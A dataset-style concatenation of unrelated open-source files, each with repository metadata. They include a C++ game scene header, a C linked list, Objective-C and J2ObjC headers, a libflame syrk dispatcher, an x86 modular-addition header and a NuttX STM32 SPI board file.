null
src/lab_m1/Tema1/Tema1.h
imihai9/EGC
2a3ff102f4a7aad0ffe3ef922134309238065d37
[ "MIT" ]
null
null
null
#pragma once #include "components/simple_scene.h" #include "lab_m1/Tema1/space.h" #include "lab_m1/Tema1/map.h" #include "lab_m1/Tema1/player.h" #include "lab_m1/Tema1/obstacle.h" #include "lab_m1/Tema1/projectile.h" #include "lab_m1/Tema1/enemy.h" #include "lab_m1/Tema1/bar.h" #include "lab_m1/Tema1/pickup.h" #include <vector> namespace m1 { class Tema1 : public gfxc::SimpleScene { public: Tema1(); ~Tema1(); void Init() override; private: void FrameStart() override; void Update(float deltaTimeSeconds) override; void FrameEnd() override; void OnInputUpdate(float deltaTime, int mods) override; void OnKeyPress(int key, int mods) override; void OnKeyRelease(int key, int mods) override; void OnMouseMove(int mouseX, int mouseY, int deltaX, int deltaY) override; void OnMouseBtnPress(int mouseX, int mouseY, int button, int mods) override; void OnMouseBtnRelease(int mouseX, int mouseY, int button, int mods) override; void OnMouseScroll(int mouseX, int mouseY, int offsetX, int offsetY) override; void OnWindowResize(int width, int height) override; void GenerateObstacle(glm::vec3 leftCorner, glm::vec2 obstSize, glm::vec3 obstColor); void InitEntity(Entity* entity); void RenderEntity(Entity* entity); // Viewport related glm::mat3 VisualizationTransf2D(const LogicSpace& logicSpace, const ViewportSpace& viewSpace); glm::mat3 VisualizationTransf2DUnif(const LogicSpace& logicSpace, const ViewportSpace& viewSpace); void SetViewportArea(const ViewportSpace& viewSpace, glm::vec3 colorColor = glm::vec3(0), bool clear = true); glm::mat3 visMatrix; ViewportSpace viewSpace; LogicSpace logicSpace; protected: void UpdatePlayer(); void UpdateHealthbar(); void UpdateScorebar(); void UpdateMap(); void UpdateEnemies(float deltaTimeSeconds); void UpdateProjectiles(float deltaTimeSeconds); void UpdateObstacles(); void UpdatePickups(); void SpawnPickup(Enemy::EnemyData deadEnemy); void HandleCollisions(); void GameOver(); Player* player; Map* map; Projectile* projectile; Enemy* enemy; Bar* bar; Pickup* pickup; std::vector<Obstacle*> obstacles; std::vector<Projectile::ProjectileData> projData; std::vector<Enemy::EnemyData> enemyData; std::vector<Pickup::PickupData> pickupData; float cx, cy; float scaleX, scaleY; float rotationAngle; int mouseX, mouseY; int deltaX; int deltaY; float resize_factor; int overview_toggle; // Toggles between showing whole map / a part of it; For debug purposes float playerSpeed; float projSpeedMultiplier; bool projectileLaunched; float lastEnemyWaveTime; float lastProjectileLaunchTime; float playerHealth; float playerScore; float enemyCollisionDmg; float maxRangeSquared; float fireRate; }; } // namespace m1
31.382353
117
0.656982
b18ffb79be20d632753614fa4320b1311ae3f951
2,000
c
C
algorithms/data-structure/c/linked_list.c
JohnnyB0Y/code-playground
4baa9c2a501258c8ee4e45b9bebc59cf659f6175
[ "MIT" ]
null
null
null
algorithms/data-structure/c/linked_list.c
JohnnyB0Y/code-playground
4baa9c2a501258c8ee4e45b9bebc59cf659f6175
[ "MIT" ]
null
null
null
algorithms/data-structure/c/linked_list.c
JohnnyB0Y/code-playground
4baa9c2a501258c8ee4e45b9bebc59cf659f6175
[ "MIT" ]
null
null
null
// linked_list.c // // // Created by JohnnyB0Y on 2021/05/06. // Copyright © 2021 JohnnyB0Y. All rights reserved. #include <stdlib.h> #include <stdio.h> #include "base.c" struct node { struct node *next; id data; }; struct doubly_node { struct doubly_node *next; struct doubly_node *prev; id data; }; typedef struct node * node_t; typedef struct doubly_node * doubly_node_t; struct linked_list { int count; node_t head; node_t last; }; struct doubly_linked_list { }; typedef struct linked_list * linked_list_t; typedef struct doubly_linked_list * doubly_linked_list_t; linked_list_t linked_list_malloc(void) { linked_list_t self = malloc(sizeof(struct linked_list)); self->count = 0; self->head = malloc(sizeof(struct node)); self->last = self->head; return self; } void linked_list_destroy(linked_list_t self) { node_t node = self->head->next; node_t temp = NULL; for (int i = 0; i < self->count; i++) { temp = node; node = temp->next; free(temp); } free(self->head); free(self); } void linked_list_add_item(linked_list_t self, id item) { node_t node = malloc(sizeof(struct node)); node->data = item; self->last->next = node; self->last = node; self->count++; } void linked_list_remove_item(linked_list_t self, id item) { node_t node = self->head->next; node_t prev = self->head; while (node) { if (node->data == item) { // find it if (node == self->last) { self->last = prev; } prev->next = node->next; self->count--; free(node); return; } prev = node; node = node->next; } } id linked_list_get_item(linked_list_t self, int index) { node_t node = self->head->next; for (int i = 0; i < index; i++) { node = node->next; } return node->data; } void linked_list_iteration(linked_list_t self, iteration_func func) { node_t node = self->head; for (int i = 0; i < self->count; i++) { func(node->next->data, i); node = node->next; } }
20.20202
69
0.644
362826b527dc55e2f00d580a2c5615a3f53f0bf9
1,234
h
C
iFootageFramework/iFootageFramework/Main/Controllers/iFPanoramaVC/iFCirleViewController.h
414039949/iFootageFramework
25dada05a2605811bff4ac9d9fb4e1e233462684
[ "MIT" ]
null
null
null
iFootageFramework/iFootageFramework/Main/Controllers/iFPanoramaVC/iFCirleViewController.h
414039949/iFootageFramework
25dada05a2605811bff4ac9d9fb4e1e233462684
[ "MIT" ]
null
null
null
iFootageFramework/iFootageFramework/Main/Controllers/iFPanoramaVC/iFCirleViewController.h
414039949/iFootageFramework
25dada05a2605811bff4ac9d9fb4e1e233462684
[ "MIT" ]
null
null
null
// // iFCirleViewController.h // iFootage // // Created by 黄品源 on 2016/11/28. // Copyright © 2016年 iFootage. All rights reserved. // #import "iFRootViewController.h" #import "iFLabel.h" #import "iFButton.h" #import "iFCircularArcView.h" #import "iFLabelView.h" #import "iF3DButton.h" @interface iFCirleViewController : iFRootViewController @property (nonatomic, strong)iFLabelView * intervalLabel; @property (nonatomic, strong)iFLabelView * PicturesLabel; @property (nonatomic, strong)iFLabelView * RuntimeLabel; //@property (nonatomic, strong)iFLabelView * PanValueLabel; //@property (nonatomic, strong)iFLabelView * TiltValueLabel; @property (nonatomic, strong)iFLabel * intervalValueLabel; @property (nonatomic, strong)iFLabel * picturesValueLabel; @property (nonatomic, strong)iFLabel * RuntimeValueLabel; @property (nonatomic, strong)iFLabel * degreeLabel; @property (nonatomic, strong)iF3DButton * pauseBtn; @property (nonatomic, strong)iF3DButton * playBtn; @property (nonatomic, strong)iF3DButton * stopBtn; @property (nonatomic, copy)NSString * interval; @property (nonatomic, assign)CGFloat aOneAngle; @property (nonatomic, assign)BOOL isRunning; @property (nonatomic, assign)NSInteger totalTime; @end
25.183673
60
0.771475
df514af92c45e101f2991319c0796c42ff12f0ac
2,126
c
C
src/blas/3/syrk/front/flamec/FLA_Syrk_internal.c
greck2908/libflame
51d901f5fa1729c018c19110d100d117b91a0e65
[ "BSD-3-Clause" ]
27
2017-10-01T08:26:08.000Z
2022-01-03T20:26:42.000Z
src/blas/3/syrk/front/flamec/FLA_Syrk_internal.c
greck2908/libflame
51d901f5fa1729c018c19110d100d117b91a0e65
[ "BSD-3-Clause" ]
null
null
null
src/blas/3/syrk/front/flamec/FLA_Syrk_internal.c
greck2908/libflame
51d901f5fa1729c018c19110d100d117b91a0e65
[ "BSD-3-Clause" ]
11
2017-07-30T19:15:00.000Z
2020-02-21T13:18:13.000Z
/* Copyright (C) 2014, The University of Texas at Austin This file is part of libflame and is available under the 3-Clause BSD license, which can be found in the LICENSE file at the top-level directory, or at http://opensource.org/licenses/BSD-3-Clause */ #include "FLAME.h" extern TLS_CLASS_SPEC fla_syrk_t* flash_syrk_cntl_blas; extern TLS_CLASS_SPEC fla_syrk_t* flash_syrk_cntl_mm; FLA_Error FLA_Syrk_internal( FLA_Uplo uplo, FLA_Trans trans, FLA_Obj alpha, FLA_Obj A, FLA_Obj beta, FLA_Obj C, fla_syrk_t* cntl ) { FLA_Error r_val = FLA_SUCCESS; if ( FLA_Check_error_level() == FLA_FULL_ERROR_CHECKING ) FLA_Syrk_internal_check( uplo, trans, alpha, A, beta, C, cntl ); if ( FLA_Cntl_matrix_type( cntl ) == FLA_HIER && FLA_Obj_elemtype( A ) == FLA_MATRIX && FLA_Cntl_variant( cntl ) == FLA_SUBPROBLEM ) { // Recurse r_val = FLA_Syrk_internal( uplo, trans, alpha, *FLASH_OBJ_PTR_AT( A ), beta, *FLASH_OBJ_PTR_AT( C ), flash_syrk_cntl_mm ); } else if ( FLA_Cntl_matrix_type( cntl ) == FLA_HIER && FLA_Obj_elemtype( A ) == FLA_SCALAR && FLASH_Queue_get_enabled( ) ) { // Enqueue ENQUEUE_FLASH_Syrk( uplo, trans, alpha, A, beta, C, cntl ); } else { if ( FLA_Cntl_matrix_type( cntl ) == FLA_HIER && FLA_Obj_elemtype( A ) == FLA_SCALAR && !FLASH_Queue_get_enabled( ) ) { // Execute leaf cntl = flash_syrk_cntl_blas; } // Parameter combinations if ( uplo == FLA_LOWER_TRIANGULAR ) { if ( trans == FLA_NO_TRANSPOSE ) r_val = FLA_Syrk_ln( alpha, A, beta, C, cntl ); else if ( trans == FLA_TRANSPOSE ) r_val = FLA_Syrk_lt( alpha, A, beta, C, cntl ); } else if ( uplo == FLA_UPPER_TRIANGULAR ) { if ( trans == FLA_NO_TRANSPOSE ) r_val = FLA_Syrk_un( alpha, A, beta, C, cntl ); else if ( trans == FLA_TRANSPOSE ) r_val = FLA_Syrk_ut( alpha, A, beta, C, cntl ); } } return r_val; }
29.123288
130
0.607244
0e9b37c20d05100a297dc677726714a36cc34e97
11,720
h
C
modular_arithmetic/include/hurchalla/modular_arithmetic/detail/platform_specific/impl_modular_addition.h
hurchalla/modular_arithmetic
d1300f07843d2ef28f1a71e5377bf79395964e34
[ "MIT" ]
null
null
null
modular_arithmetic/include/hurchalla/modular_arithmetic/detail/platform_specific/impl_modular_addition.h
hurchalla/modular_arithmetic
d1300f07843d2ef28f1a71e5377bf79395964e34
[ "MIT" ]
null
null
null
modular_arithmetic/include/hurchalla/modular_arithmetic/detail/platform_specific/impl_modular_addition.h
hurchalla/modular_arithmetic
d1300f07843d2ef28f1a71e5377bf79395964e34
[ "MIT" ]
null
null
null
// --- This file is distributed under the MIT Open Source License, as detailed // by the file "LICENSE.TXT" in the root of this repository --- #ifndef HURCHALLA_MODULAR_ARITHMETIC_IMPL_MODULAR_ADDITION_H_INCLUDED #define HURCHALLA_MODULAR_ARITHMETIC_IMPL_MODULAR_ADDITION_H_INCLUDED #include "hurchalla/util/traits/extensible_make_unsigned.h" #include "hurchalla/util/traits/ut_numeric_limits.h" #include "hurchalla/util/compiler_macros.h" #include "hurchalla/util/programming_by_contract.h" #include <cstdint> #include <type_traits> namespace hurchalla { namespace detail { #if 0 // --- Version #1 --- // This is an easy to understand default implementation version. // // However, on x86, Version #1's use of (modulus - b) will very often require // two uops because the compiler will see 'modulus' stays constant over a long // period of time, and hence it will choose not to overwrite its register - // necessitating an extra uop for a copy of the register. This fact may be // inconsequential, for example if the compiler is able to hoist both the copy // and the subtraction out of a loop, but if 'b' does not stay constant within // a loop, then hoisting is not possible and Version #1 would require 2 uops // for the subtraction in a perhaps critical loop. // In contrast, Version #2 uses (b - modulus) which requires only one uop when // 'b' does not stay constant within a loop. This fact is why we slightly // prefer Version #2, and why we have disabled Version #1 and enabled Version #2 // via #if. Note that if 'b' stays constant for a period of time, or if we are // compiling for ARM, we can expect total uops to be the same between the two // function versions. In all situations, we can expect the latency of the two // versions to be the same. struct default_impl_modadd { template <typename T> HURCHALLA_FORCE_INLINE static T call(T a, T b, T modulus) { static_assert(ut_numeric_limits<T>::is_integer, ""); static_assert(!(ut_numeric_limits<T>::is_signed), ""); HPBC_PRECONDITION2(modulus>0); HPBC_PRECONDITION2(a<modulus); // i.e. the input must be prereduced HPBC_PRECONDITION2(b<modulus); // i.e. the input must be prereduced // We want essentially- result = (a+b < modulus) ? a+b : a+b-modulus // But due to the potential for overflow on a+b, we need to instead test // the alternative predicate (a < modulus-b), which gives us our desired // result without any problem of overflow. So we can and should use: // result = (a < modulus-b) ? a+b : a+b-modulus T tmp = static_cast<T>(modulus - b); T sum = static_cast<T>(a + b); T tmp2 = static_cast<T>(a - tmp); T result = (a < tmp) ? sum : tmp2; HPBC_POSTCONDITION2(static_cast<T>(0) <= result && result < modulus); return result; } }; #else // --- Version #2 --- // This is a more difficult to understand default implementation version. The // proof of this function's correctness is given by the theorem in the comments // at the end of this file. See the notes at the end of those comments to // understand the implementation details. // note: uses a static member function to disallow ADL. struct default_impl_modadd { template <typename T> HURCHALLA_FORCE_INLINE static T call(T a, T b, T modulus) { static_assert(ut_numeric_limits<T>::is_integer, ""); static_assert(!(ut_numeric_limits<T>::is_signed), ""); HPBC_PRECONDITION2(modulus>0); HPBC_PRECONDITION2(a<modulus); // the input must be prereduced HPBC_PRECONDITION2(b<modulus); // the input must be prereduced using U = typename extensible_make_unsigned<T>::type; U sum = static_cast<U>(static_cast<U>(a) + static_cast<U>(b)); U tmp = static_cast<U>(static_cast<U>(b) - static_cast<U>(modulus)); U result = static_cast<U>(static_cast<U>(a) + tmp); # if 0 result = (result >= static_cast<U>(a)) ? sum : result; # else HURCHALLA_CMOV(result >= static_cast<U>(a), result, sum); # endif HPBC_POSTCONDITION2(static_cast<U>(0) <= result && result < static_cast<U>(modulus)); return static_cast<T>(result); } }; #endif // primary template template <typename T> struct impl_modular_addition { HURCHALLA_FORCE_INLINE static T call(T a, T b, T modulus) { return default_impl_modadd::call(a, b, modulus); } }; // These inline asm functions implement optimizations of version #2. // MSVC doesn't support inline asm, so we skip it. #if (defined(HURCHALLA_ALLOW_INLINE_ASM_ALL) || \ defined(HURCHALLA_ALLOW_INLINE_ASM_MODADD)) && \ defined(HURCHALLA_TARGET_ISA_X86_64) && !defined(_MSC_VER) template <> struct impl_modular_addition<std::uint32_t> { HURCHALLA_FORCE_INLINE static std::uint32_t call(std::uint32_t a, std::uint32_t b, std::uint32_t modulus) { using std::uint32_t; HPBC_PRECONDITION2(modulus>0); HPBC_PRECONDITION2(a<modulus); // uint32_t guarantees a>=0. HPBC_PRECONDITION2(b<modulus); // uint32_t guarantees b>=0. // By calculating tmp outside of the __asm__, we allow the compiler to // potentially loop hoist tmp, if this function is inlined into a loop. // https://en.wikipedia.org/wiki/Loop-invariant_code_motion uint32_t sum = a + b; uint32_t tmp = b - modulus; uint32_t tmp2 = a; // we prefer not to overwrite an input (a) __asm__ ("addl %[tmp], %[tmp2] \n\t" /* tmp2 = a + tmp */ "cmovbl %[tmp2], %[sum] \n\t" /* sum = (tmp2<a) ? tmp2 : sum */ : [tmp2]"+&r"(tmp2), [sum]"+r"(sum) # if defined(__clang__) /* https://bugs.llvm.org/show_bug.cgi?id=20197 */ : [tmp]"r"(tmp) # else : [tmp]"rm"(tmp) # endif : "cc"); uint32_t result = sum; HPBC_POSTCONDITION2(result < modulus); // uint32_t guarantees result>=0. HPBC_POSTCONDITION2(result == default_impl_modadd::call(a, b, modulus)); return result; } }; template <> struct impl_modular_addition<std::uint64_t> { HURCHALLA_FORCE_INLINE static std::uint64_t call(std::uint64_t a, std::uint64_t b, std::uint64_t modulus) { using std::uint64_t; HPBC_PRECONDITION2(modulus>0); HPBC_PRECONDITION2(a<modulus); // uint64_t guarantees a>=0. HPBC_PRECONDITION2(b<modulus); // uint64_t guarantees b>=0. // By calculating tmp outside of the __asm__, we allow the compiler to // potentially loop hoist tmp, if this function is inlined into a loop. // https://en.wikipedia.org/wiki/Loop-invariant_code_motion uint64_t sum = a + b; uint64_t tmp = b - modulus; uint64_t tmp2 = a; // we prefer not to overwrite an input (a) __asm__ ("addq %[tmp], %[tmp2] \n\t" /* tmp2 = a + tmp */ "cmovbq %[tmp2], %[sum] \n\t" /* sum = (tmp2<a) ? tmp2 : sum */ : [tmp2]"+&r"(tmp2), [sum]"+r"(sum) # if defined(__clang__) /* https://bugs.llvm.org/show_bug.cgi?id=20197 */ : [tmp]"r"(tmp) # else : [tmp]"rm"(tmp) # endif : "cc"); uint64_t result = sum; HPBC_POSTCONDITION2(result < modulus); // uint64_t guarantees result>=0. HPBC_POSTCONDITION2(result == default_impl_modadd::call(a, b, modulus)); return result; } }; #endif // ---------Theorem and proof for Version #2-------- // The constant "R" used below represents the value // R = 2^(ut_numeric_limits<T>::digits). For example, if T is uint64_t, // then R = 2^64. // We'll use a psuedo-cast notation of (Z)x to indicate when we are treating x // as an infinite precision signed integer - i.e. a member of the set Z of // mathematical integers. // The notation "%%" used below should be interpreted as a conceptual modulo // operator that will always produce a non-negative remainder for the result. // This is slightly different from the actual C/C++ modulo operator "%", which // produces a negative remainder if the dividend is negative. // Theorem: Require 0 <= a < m, 0 <= b < m, and 0 < m < R; and let // tmp = ((Z)b - (Z)m) %% R. // If ((Z)a + (Z)tmp >= R), then // ((Z)a + (Z)b) %% m == a+b-m. // else // ((Z)a + (Z)b) %% m == a+b. // // Proof: // As a precondition, we know 0 <= b < m. // [1] Therefore -(Z)m <= (Z)b - (Z)m < 0 // As a precondition, we know m < R, thus // [2] -R < -(Z)m // Combining [1] and [2], -R < (Z)b - (Z)m < 0. // Adding R to all parts, 0 < (Z)b - (Z)m + R < R. // We can see this expression is bound between 0 and R, so // (Z)b - (Z)m + R == ((Z)b - (Z)m + R) %% R. // [3] Thus ((Z)b - (Z)m) %% R == (Z)b - (Z)m + R. // // C/C++ (and assembly) performs unsigned addition and subtraction modulo R, and // of course produces an unsigned non-negative result. // Therefore, tmp = b - m == ((Z)b - (Z)m) %% R. Thus 0 <= tmp < R, and by [3], // [4] tmp = b - m == (Z)b - (Z)m + R. // // We would like to test whether (Z)a + (Z)b >= (Z)m, but this test can't be // directly evaluated in C/C++/assembly due to potential overflow on a+b. // However, we can re-express this test as (Z)b - (Z)m + R >= R - (Z)a, and // combining this with [4], this test becomes (Z)tmp >= R - (Z)a. We can then // rearrange this last test into the test (Z)a + (Z)tmp >= R. // These tests are all equivalent, and so // [5] (Z)a + (Z)tmp >= R implies (Z)a + (Z)b >= (Z)m. And // [6] (Z)a + (Z)tmp < R implies (Z)a + (Z)b < (Z)m. // Note that we can easily evaluate the test (Z)a + (Z)tmp >= R using // C/C++/assembly, by performing the addition a + tmp, and detecting whether // or not the add overflows. // // As preconditions, we know 0 <= a < m, 0 <= b < m, and m < R. // [7] Therefore 0 <= (Z)a + (Z)b < (Z)m + (Z)m. // [8] Assume (Z)a + (Z)b >= (Z)m: // Then by [7] (Z)m <= (Z)a + (Z)b < (Z)m + (Z)m, and // 0 <= (Z)a + (Z)b - (Z)m < (Z)m. Thus, // ((Z)a + (Z)b - (Z)m) %% m == (Z)a + (Z)b - (Z)m, and thus // ((Z)a + (Z)b) %% m == (Z)a + (Z)b - (Z)m. // Since (Z)m < R, 0 <= (Z)a + (Z)b - (Z)m < R. Thus, // ((Z)a + (Z)b - (Z)m) %% R == (Z)a + (Z)b - (Z)m, and therefore in C/C++, // a + b - m == (Z)a + (Z)b - (Z)m. This gives us // ((Z)a + (Z)b) %% m == a + b - m. // [9] Assume (Z)a + (Z)b < (Z)m: // Then by [7] 0 <= (Z)a + (Z)b < (Z)m. Thus, // ((Z)a + (Z)b) %% m == (Z)a + (Z)b // Since (Z)m < R, 0 <= (Z)a + (Z)b < R. Thus, // ((Z)a + (Z)b) %% R == (Z)a + (Z)b, and therefore in C/C++, // a + b == (Z)a + (Z)b. This gives us // ((Z)a + (Z)b) %% m == a + b. // // [10] Combining [5] with [8], if ((Z)a + (Z)tmp >= R) then // ((Z)a + (Z)b) %% m == a+b-m. // [11] Combining [6] with [9], if ((Z)a + (Z)tmp < R) then // ((Z)a + (Z)b) %% m == a+b. // // Implementation notes: // As stated above, in C/C++/assembly, we can test if (Z)a + (Z)tmp >= R by // detecting if the addition a + tmp overflows. // To detect overflow on the addition (a+tmp): // In assembly, we can perform the add and then look at the carry flag to see // if it overflowed. In C, we can test if (a+tmp >= a). If false, then the // add overflowed. Note: with luck the compiler will recognize this C idiom // and produce assembly that is the same as what we would write. Clang // seems to do fairly well at this, gcc less well, and icc least well. // // Putting together [4], [10], and [11], in C++ we could write // template <typename T> // T modular_addition(T a, T b, T m) { // static_assert( !(ut_numeric_limits<T>::is_signed), "" ); // T tmp = b-m; // return (a+tmp >= a) ? a+b : a+tmp; // } }} // end namespace #endif
41.857143
80
0.609983
3d76a8d4ef667150ec7fec2e80e4a15eddbacccd
7,059
c
C
boards/arm/stm32/nucleo-f303re/src/stm32_spi.c
ErikkEnglund/incubator-nuttx
88d59bac405b4f9f0efe1a91def2909579a46600
[ "Apache-2.0" ]
3
2019-11-15T07:26:00.000Z
2020-09-28T14:14:44.000Z
boards/arm/stm32/nucleo-f303re/src/stm32_spi.c
ErikkEnglund/incubator-nuttx
88d59bac405b4f9f0efe1a91def2909579a46600
[ "Apache-2.0" ]
1
2020-03-21T16:25:54.000Z
2020-03-24T09:41:03.000Z
boards/arm/stm32/nucleo-f303re/src/stm32_spi.c
ErikkEnglund/incubator-nuttx
88d59bac405b4f9f0efe1a91def2909579a46600
[ "Apache-2.0" ]
6
2019-08-12T04:18:53.000Z
2021-11-16T08:33:20.000Z
/**************************************************************************** * boards/arm/stm32/nucleo-f303re/src/stm32_spi.c * * Copyright (C) 2011-2012 Gregory Nutt. All rights reserved. * Copyright (C) 2015 Omni Hoverboards Inc. All rights reserved. * Authors: Gregory Nutt <gnutt@nuttx.org> * Paul Alexander Patience <paul-a.patience@polymtl.ca> * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in * the documentation and/or other materials provided with the * distribution. * 3. Neither the name NuttX nor the names of its contributors may be * used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * ****************************************************************************/ /**************************************************************************** * Included Files ****************************************************************************/ #include <nuttx/config.h> #include <stdint.h> #include <stdbool.h> #include <errno.h> #include <debug.h> #include <nuttx/spi/spi.h> #include <arch/board/board.h> #include "up_arch.h" #include "chip.h" #include "stm32.h" #include "nucleo-f303re.h" #ifdef CONFIG_SPI /**************************************************************************** * Public Functions ****************************************************************************/ /**************************************************************************** * Name: stm32_spidev_initialize * * Description: * Called to configure SPI chip select GPIO pins for the board. * ****************************************************************************/ void weak_function stm32_spidev_initialize(void) { #if defined(CONFIG_LCD_SSD1351) stm32_configgpio(GPIO_OLED_CS); /* OLED chip select */ stm32_configgpio(GPIO_OLED_DC); /* OLED Command/Data */ #endif } /**************************************************************************** * Name: stm32_spi1/2/3select and stm32_spi1/2/3status * * Description: * The external functions, stm32_spi1/2/3select and stm32_spi1/2/3status * must be provided by board-specific logic. They are implementations of * the select and status methods of the SPI interface defined by struct * spi_ops_s (see include/nuttx/spi/spi.h). All other methods (including * stm32_spibus_initialize()) are provided by common STM32 logic. To use this * common SPI logic on your board: * * 1. Provide logic in stm32_boardinitialize() to configure SPI chip select * pins. * 2. Provide stm32_spi1/2/3select() and stm32_spi1/2/3status() functions * in your board-specific logic. These functions will perform chip * selection and status operations using GPIOs in the way your board is * configured. * 3. Add a calls to stm32_spibus_initialize() in your low level application * initialization logic * 4. The handle returned by stm32_spibus_initialize() may then be used to bind * the SPI driver to higher level logic (e.g., calling * mmcsd_spislotinitialize(), for example, will bind the SPI driver to * the SPI MMC/SD driver). * ****************************************************************************/ #ifdef CONFIG_STM32_SPI1 void stm32_spi1select(FAR struct spi_dev_s *dev, uint32_t devid, bool selected) { spiinfo("devid: %d CS: %s\n", (int)devid, selected ? "assert" : "de-assert"); #if defined(CONFIG_LCD_SSD1351) if (devid == SPIDEV_DISPLAY(0)) { stm32_gpiowrite(GPIO_OLED_CS, !selected); } #endif } uint8_t stm32_spi1status(FAR struct spi_dev_s *dev, uint32_t devid) { return 0; } #endif #ifdef CONFIG_STM32_SPI2 void stm32_spi2select(FAR struct spi_dev_s *dev, uint32_t devid, bool selected) { spiinfo("devid: %d CS: %s\n", (int)devid, selected ? "assert" : "de-assert"); } uint8_t stm32_spi2status(FAR struct spi_dev_s *dev, uint32_t devid) { return 0; } #endif #ifdef CONFIG_STM32_SPI3 void stm32_spi3select(FAR struct spi_dev_s *dev, uint32_t devid, bool selected) { spiinfo("devid: %d CS: %s\n", (int)devid, selected ? "assert" : "de-assert"); } uint8_t stm32_spi3status(FAR struct spi_dev_s *dev, uint32_t devid) { return 0; } #endif /**************************************************************************** * Name: stm32_spi1cmddata * * Description: * Set or clear the SSD1351 D/C n bit to select data (true) or command * (false). This function must be provided by platform-specific logic. * This is an implementation of the cmddata method of the SPI interface * defined by struct spi_ops_s (see include/nuttx/spi/spi.h). * * Input Parameters: * spi - SPI device that controls the bus the device that requires the * CMD/DATA selection. * devid - If there are multiple devices on the bus, this selects which one * to select cmd or data. NOTE: This design restricts, for * example, one SPI display per SPI bus. * cmd - true: select command; false: select data * * Returned Value: * None * ****************************************************************************/ #ifdef CONFIG_SPI_CMDDATA #ifdef CONFIG_STM32_SPI1 int stm32_spi1cmddata(FAR struct spi_dev_s *dev, uint32_t devid, bool cmd) { #ifdef CONFIG_LCD_SSD1351 if (devid == SPIDEV_DISPLAY(0)) { stm32_gpiowrite(GPIO_OLED_DC, !cmd); return OK; } #endif return -ENODEV; } #endif #ifdef CONFIG_STM32_SPI2 int stm32_spi2cmddata(FAR struct spi_dev_s *dev, uint32_t devid, bool cmd) { return -ENODEV; } #endif #ifdef CONFIG_STM32_SPI3 int stm32_spi3cmddata(FAR struct spi_dev_s *dev, uint32_t devid, bool cmd) { return -ENODEV; } #endif #endif /* CONFIG_SPI_CMDDATA */ #endif /* CONFIG_SPI */
33.9375
81
0.615526
3d8e82c6874226ad53d2e8a889a93e0165e0437d
2,782
h
C
Scripts/Template/Headers/org/apache/xpath/functions/FuncNumber.h
zhouxl/J2ObjC-Framework
ff83a41f44aaab295dbd4f4b4b02d5e894cdc2e1
[ "MIT" ]
null
null
null
Scripts/Template/Headers/org/apache/xpath/functions/FuncNumber.h
zhouxl/J2ObjC-Framework
ff83a41f44aaab295dbd4f4b4b02d5e894cdc2e1
[ "MIT" ]
null
null
null
Scripts/Template/Headers/org/apache/xpath/functions/FuncNumber.h
zhouxl/J2ObjC-Framework
ff83a41f44aaab295dbd4f4b4b02d5e894cdc2e1
[ "MIT" ]
null
null
null
// // Generated by the J2ObjC translator. DO NOT EDIT! // source: /Users/antoniocortes/j2objcprj/relases/j2objc/xalan/third_party/android/platform/external/apache-xml/src/main/java/org/apache/xpath/functions/FuncNumber.java // #include "../../../../J2ObjC_header.h" #pragma push_macro("INCLUDE_ALL_OrgApacheXpathFunctionsFuncNumber") #ifdef RESTRICT_OrgApacheXpathFunctionsFuncNumber #define INCLUDE_ALL_OrgApacheXpathFunctionsFuncNumber 0 #else #define INCLUDE_ALL_OrgApacheXpathFunctionsFuncNumber 1 #endif #undef RESTRICT_OrgApacheXpathFunctionsFuncNumber #pragma clang diagnostic push #pragma GCC diagnostic ignored "-Wdeprecated-declarations" #if __has_feature(nullability) #pragma clang diagnostic push #pragma GCC diagnostic ignored "-Wnullability" #pragma GCC diagnostic ignored "-Wnullability-completeness" #endif #if !defined (OrgApacheXpathFunctionsFuncNumber_) && (INCLUDE_ALL_OrgApacheXpathFunctionsFuncNumber || defined(INCLUDE_OrgApacheXpathFunctionsFuncNumber)) #define OrgApacheXpathFunctionsFuncNumber_ #define RESTRICT_OrgApacheXpathFunctionsFunctionDef1Arg 1 #define INCLUDE_OrgApacheXpathFunctionsFunctionDef1Arg 1 #include "../../../../org/apache/xpath/functions/FunctionDef1Arg.h" @class OrgApacheXpathObjectsXObject; @class OrgApacheXpathXPathContext; /*! @brief Execute the Number() function. */ @interface OrgApacheXpathFunctionsFuncNumber : OrgApacheXpathFunctionsFunctionDef1Arg @property (readonly, class) jlong serialVersionUID NS_SWIFT_NAME(serialVersionUID); + (jlong)serialVersionUID; #pragma mark Public - (instancetype __nonnull)init; /*! @brief Execute the function.The function must return a valid object. @param xctxt The current execution context. @return A valid XObject. @throw javax.xml.transform.TransformerException */ - (OrgApacheXpathObjectsXObject *)executeWithOrgApacheXpathXPathContext:(OrgApacheXpathXPathContext *)xctxt; @end J2OBJC_EMPTY_STATIC_INIT(OrgApacheXpathFunctionsFuncNumber) inline jlong OrgApacheXpathFunctionsFuncNumber_get_serialVersionUID(void); #define OrgApacheXpathFunctionsFuncNumber_serialVersionUID 7266745342264153076LL J2OBJC_STATIC_FIELD_CONSTANT(OrgApacheXpathFunctionsFuncNumber, serialVersionUID, jlong) FOUNDATION_EXPORT void OrgApacheXpathFunctionsFuncNumber_init(OrgApacheXpathFunctionsFuncNumber *self); FOUNDATION_EXPORT OrgApacheXpathFunctionsFuncNumber *new_OrgApacheXpathFunctionsFuncNumber_init(void) NS_RETURNS_RETAINED; FOUNDATION_EXPORT OrgApacheXpathFunctionsFuncNumber 